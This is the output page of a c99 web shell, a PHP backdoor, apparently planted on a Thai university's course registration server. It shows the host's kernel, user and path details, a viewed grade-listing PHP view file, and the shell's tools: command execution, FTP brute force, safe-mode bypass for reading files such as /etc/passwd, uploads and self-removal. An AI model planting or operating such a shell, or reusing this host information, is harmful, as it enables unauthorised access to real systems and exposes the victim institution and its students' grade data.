!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/mis/application/views/eregis-13022565/   drwxrwxrwx
Free 51 GB of 127.8 GB (39.9%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     v_showCourseEditGradeRow.php (3.22 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
$row_cfg 
= isset($qu_cfg) ? $qu_cfg->row() : NULL;
?>
<table class="headCol">
    <tr>
        <th class="amtCol"><font size="2" color="<?php echo $row_cfg->cfgFnClHeadTb;?>">รหัสวิชา</font></th>
        <th><font size="2" color="<?php echo $row_cfg->cfgFnClHeadTb;?>">ชื่อวิชา</font></th>
        <th class="editCol"><font size="2" color="<?php echo $row_cfg->cfgFnClHeadTb;?>">กลุ่ม</font></th>
        <th class="amtCol"><font size="2" color="<?php echo $row_cfg->cfgFnClHeadTb;?>">จำนวน<br />นักศึกษา</font></th>
        <th class="amtCol"><font size="2" color="<?php echo $row_cfg->cfgFnClHeadTb;?>">หน่วยกิต</font></th>
        <th class="amtCol"><font size="2" color="<?php echo $row_cfg->cfgFnClHeadTb;?>">สถานะ<br>การส่งเกรด</font></th>
        <th class="editCol"><font size="2" color="<?php echo $row_cfg->cfgFnClHeadTb;?>">พิมพ์</font></th>
    </tr>
<?php
$num_rows 
count($arr);
if(isset(
$arr) && count($arr)) {
    foreach(
$arr as $key => $val) {
        echo 
"<tr onmouseover=\"bgColor='".$row_cfg->cfgBgClSwapTr."'\" onmouseout=\"bgColor='".$this->config->item("rg_mouseout")."'\">";
?>
        <td class="indent"><font size="2"><?php echo $arr[$key]['rd']->crsCode;?></font></td>
        <td class="indent"><font size="2"><?php echo explodeSquare($arr[$key]['rd']->crsName);?></font><br>
<?php
        
if($arr[$key]['cur']->num_rows()) {
            foreach(
$arr[$key]['cur']->result() as $row_cur) {
?>
        <font size="2" color="<?php echo $row_cfg->cfgFnClErrSpec;?>"><div><?php echo '['.$row_cur->curName.']';?></div></font>
<?php
            
}
        }
?>
        </td>
        <td align="center"><font size="2"><?php echo $arr[$key]['rd']->coSection;?></font></td>
        <td align="center"><font size="2"><?php echo $arr[$key]['rd']->coNumSeatReg;?></font></td>
        <td align="center"><font size="2"><?php echo $arr[$key]['rd']->crsUnit;?></font></td>
        <td align="center">
<?php
        
if($arr[$key]['rd']->coSendGradeStatus=='Y') {
?>
        <img src="<?php echo base_url().$this->config->item("rg_edit");?>" align="absmiddle" border="0" width="23" height="19" class="hand" onClick="sendPost('hidform_edit',{'coId':<?php echo $arr[$key]['rd']->coId;?>, 'acY':<?php echo $acY;?>, 'tmId':<?php echo $tmId;?>}, '<?php echo site_url($this->config->item('rg_folder').'grade/editGrd');?>')" />
<?php
        
} else {
?>
        <img src="<?php echo base_url().$this->config->item("rg_edit_yell");?>" align="absmiddle" border="0" width="23" height="19" />
<?php
        
}
?>
        </td>
        <td align="center">
        <img src="<?php echo base_url().$this->config->item("rg_print");?>" align="absmiddle" border="0" class="hand" onClick="sendPost(
        'hidform',
        {'coId':<?php echo $arr[$key]['rd']->coId;?>,
         'clIdStr':<?php echo $arr[$key]['clIdStr'];?>,
         'acY':<?php echo $acY;?>,
         'tmId':<?php echo $tmId;?>},
         '<?php echo site_url($this->config->item('rg_folder').'grade/printSendGradePDF');?>', {})" /></td>
<?php
    
}
} else {
?>
    <tr>
        <td colspan="7" align="center"><font size="2" color="<?php echo $row_cfg->cfgFnClErrSpec?>">** ไม่ปรากฏรายวิชาที่เปิดสอนในฐานข้อมูล **</font></td>
    </tr>
<?php
}
?>
</table>
<table width="100%">
    <td align="right">รวม <?php echo $num_rows;?> รายการ</td>
</table>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0123 ]--